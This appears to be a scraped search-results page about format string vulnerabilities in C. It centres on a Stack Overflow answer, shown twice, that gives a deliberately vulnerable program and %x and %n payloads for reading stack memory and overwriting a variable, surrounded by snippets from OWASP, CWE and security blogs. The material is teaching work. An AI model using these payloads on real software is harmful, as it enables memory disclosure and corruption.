You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

Answer from Michael F on Stack Overflow
🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
For example, if the printf function is used to print the username inserted in some fields of the page, the website could be vulnerable to this kind of attack, as showed below: ... Following are some examples of Format Functions, which if not treated, can expose the application to the Format String Attack.
🌐
CTF Handbook
ctf101.org › binary-exploitation › what-is-a-format-string-vulnerability
Format String Vulnerability - CTF Handbook
A format string vulnerability is a bug where user input is passed as the format argument to printf, scanf, or another function in that family.
Discussions

c - How can a Format-String vulnerability be exploited? - Stack Overflow
I was reading about vulnerabilities in code and came across this Format-String Vulnerability. Wikipedia says: Format string bugs most commonly appear when a programmer wishes to print a string More on stackoverflow.com
🌐 stackoverflow.com
Confused about format string vulnerability explanation
Could you provide an excerpt so people can look at it? More on reddit.com
🌐 r/netsecstudents
7
12
January 13, 2022
Format string vulnerability in Java? - Information Security Stack Exchange
There are two high-threat things you can do with format string vulnerabilities in C - leak data and overwrite memory - and neither are relevant in Java. Java's string formatter doesn't even have the "conversion" that is used for overwriting memory, as you noticed. More on security.stackexchange.com
🌐 security.stackexchange.com
December 1, 2023
Be Careful with Python's New-Style String Format
I think the problem is not the new-style string format, every input or output must be sanitized if you want keep it safe. If somebody has access to execute a script you already are vulnerable. It's one more thing to escape :/ This CTF questions show how to access python base class easily https://hexplo.it/escaping-the-csawctf-python-sandbox/ More on reddit.com
🌐 r/Python
32
87
December 29, 2016
🌐
Medium
medium.com › @danielorihuelarodriguez › format-string-vulnerability-439acbe81ddf
Format string vulnerability. What’s a format string vulnerability? | by DanielOrihuela | Medium
November 5, 2024 - A format string vulnerability is a type of bug that can happen when we process user input with format strings. For example, C has several functions that allow it to do that. One of them is printf (e.g. printf("I am %i years old", 999);).
🌐
DEV Community
dev.to › duracellrabbid › journey-to-understand-format-string-attack-part-1-5dda
Journey to understand format string attack (Part 1) - DEV Community
October 4, 2024 - Basically, the vulnerability happens when you forgot to put arguments for the format specifiers when using printf, snprintf, etc. Without the arguments, these functions will just be reading off the stack like nobody's business.
🌐
Stanford
cs155.stanford.edu › papers › formatstring-1.2.pdf pdf
Exploiting Format String Vulnerabilities scut / team teso September 1, 2001
September 1, 2001 - Type 1 (as in Linux rpc.statd, IRIX telnetd). Here the vulnerability lies · in the second parameter to the syslog function. The format string is partly
🌐
GeeksforGeeks
geeksforgeeks.org › c language › format-string-vulnerability-and-prevention-with-example
Format String Vulnerability and Prevention with Example - GeeksforGeeks
March 7, 2024 - Most format string vulnerabilities are solved by specifying "%s" as format string and not using the data string as format string
Find elsewhere
🌐
YouTube
youtube.com › watch
Format String Vulnerability Explained | CTF Walkthrough - YouTube
In this video walk-through, we covered a binary vulnerable to format string vulnerability in which the vulnerable code contains an implementation of printf s...
Published   October 14, 2023
🌐
MITRE
cwe.mitre.org › data › definitions › 134.html
CWE - CWE-134: Use of Externally-Controlled Format String (4.20)
A community-developed list of SW & HW weaknesses that can become vulnerabilities
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

🌐
Fengweiz
fengweiz.github.io › 20fa-cs315 › labs › lab3-slides-format-string.pdf pdf
Format-String Vulnerability Instructor: Fengwei Zhang 1 SUSTech
Compilers can detect potential format string vulnerabilities · ● · Use two compilers to · compile the program: gcc and clang. ● · We can see that there · is a mismatch in the · format string. Countermeasures: Compiler · 33 · ● · With default settings, both compilers gave warning for the first printf().
🌐
Syracuse University
surface.syr.edu › cgi › viewcontent.cgi pdf
Buffer Overflow and Format String Overflow Vulnerabilities
A vulnerable program, for example, calls free(P ′) where P ′ is a chunk physically · adjacent to the corrupted chunk P; free(P ′) in turn calls unlink(P) in order to merge them · into a bigger free chunk, since P is a free chunk. Copyright c⃝2002 John Wiley & Sons, Ltd. Softw. Pract. Exper. 2002; 00:1–7 · BUFFER OVERFLOW AND FORMAT STRING ...
🌐
Wikipedia
en.wikipedia.org › wiki › Uncontrolled_format_string
Uncontrolled format string - Wikipedia
December 21, 2025 - Uncontrolled format string is a type of code injection vulnerability discovered around 1989 that can be used in security exploits. Originally thought harmless, format string exploits can be used to crash a program or to execute harmful code. The problem stems from the use of unchecked user ...
🌐
Medium
infosecwriteups.com › exploiting-format-string-vulnerability-97e3d588da1b
EXPLOITING FORMAT STRING VULNERABILITY | by AidenPearce369 | InfoSec Write-ups
January 18, 2024 - A Format String attack can occur when an input string data is processed by a vulnerable function so that attacker can pass the formats to exploit the stack values with the help of format string functions/printf() family functions
Top answer
1 of 2
3

There are two high-threat things you can do with format string vulnerabilities in C - leak data and overwrite memory - and neither are relevant in Java. Java's string formatter doesn't even have the "conversion" that is used for overwriting memory, as you noticed. However, Java also is generally safe against such attacks because Java - unlike C - actually checks the number of variadic parameters expected against the number present. If you request a parameter that isn't present - either by index or just by having too many conversions - the formatter will throw an exception. So, there's no way to run off the end of the parameter list and start reading other information from the stack (which is generally not intended to be user-viewable, and may reveal secrets ranging from ASLR masks to cryptographic keys, which could be useful if an attacker can control the format string and invoke the function multiple times).

Interestingly, Java doesn't object if you pass too many variadic parameters - only too few - so you can potentially reveal things that are not normally revealed if the function call is written with excess parameters that aren't usually used. However, that's a pretty unlikely kind of bug, and even then, you could only reveal what those parameters are.

Java's conversions are also type-safe. For example, in C, you can expose pointer values (very valuable when trying to write memory exploits, especially since this can also reveal things like ASLR masks) by asking a format string function to render a pointer (such as to a string) as a numeric type. In Java, that doesn't work; if you pass a string (or any other reference type) and somebody messes with the format string to ask for a hex number, it'll just cause an exception again.

It's worth noting that there is ONE kind of vulnerability possible here: denial of service. An attacker who controls the format string can easily cause the app to throw an exception, for example by supplying the illegal format conversion %0$d (which requests the "zeroeth" parameter as an integer type, when such indices must start at 1). This exception, if uncaught, will cause a crash (even if caught, it may prevent the app from completing its operation correctly). However, as far as I can tell, such denial-of-service risk is the only realistic threat from user-controlled format strings in Java.

2 of 2
2

There are multiple potential vulnerabilities with this:

  • Log injection / log forging
    Depending on how you use the formatted message afterwards, it might be possible to perform log injection, for example to deceive the person reading the log files. However, this is also possible to some extent when the user input is only used as formatting argument.
  • Leaking arguments
    If additional arguments are provided to the format call which are not or only partially included in the formatted message by default, then a user-provided format string could expose these unused arguments.
    While some advisories mention this vulnerability, personally I think this is rather unlikely because the arguments to be leaked already have to part of the formatting call, e.g. String.format(userFormatStr, arg1, secretArg).
  • Denial of service: Runtime exception
    A user-controlled malformed format string could cause runtime exceptions such as a IllegalFormatException. Depending on how your application handles this, it might allow performing a denial of service attack.
  • Denial of service: Memory consumption
    The width of a format specifier can be misused to allocate large amounts of memory. This also works for the specifier %% (e.g. %10000%), so this can be performed regardless of which format arguments are provided.

More information:

  • Fortify: Denial of Service: Format String
  • SEI CERT Oracle Coding Standard for Java: IDS06-J. Exclude unsanitized user input from format strings
  • Tweet by Wouter Coekaerts about width denial of service
🌐
Infosec Institute
infosecinstitute.com › resources › secure-coding › how-to-exploit-format-string-vulnerabilities
How to exploit format string vulnerabilities | Infosec
September 21, 2020 - Format String vulnerabilities clearly can create great damage, when exploited. One can easily read data from arbitrary memory locations and even crash the applications using them. The impact can be more if these vulnerabilities are chained with other vulnerabilities such as buffer overflow.
🌐
Stackhawk
docs.stackhawk.com › vulnerabilities › 30002
Format String Error | StackHawk Documentation
A Format String error occurs when the submitted data of an input string is evaluated as a command by the application. This vulnerability arises when an application does not properly validate or sanitize user-supplied input before using it as ...
🌐
Synacktiv
synacktiv.com › en › publications › exploiting-a-blind-format-string-vulnerability-in-modern-binaries-a-case-study-from
Exploiting a Blind Format String Vulnerability in Modern Binaries: A
October 30, 2024 - Despite modern security measures such as Address Space Layout Randomization (ASLR), Position Independent Executables (PIE), Non-Executable memory (NX), and Full Relocation Read-Only (Full RelRO), the vulnerability remained exploitable under specific conditions. The exploitation came with additional challenges: payloads were limited to 128 characters (with some reserved for the client IP address), and a range of characters (from 0x00 to 0x1F) was disallowed. Additionally, without memory leaks or visibility into the format string output from the client side, the exploit had to be performed in a blind context.
🌐
Hacking Lab
hackinglab.cz › en › blog › format-string-vulnerability
Format String Vulnerability - Hacking Lab
October 21, 2024 - When exploited, an attacker can modify memory and even execute custom code in addition to reading memory. This article discusses the principle and possibilities of exploiting format string vulnerabilities, particularly in the C and C++ languages.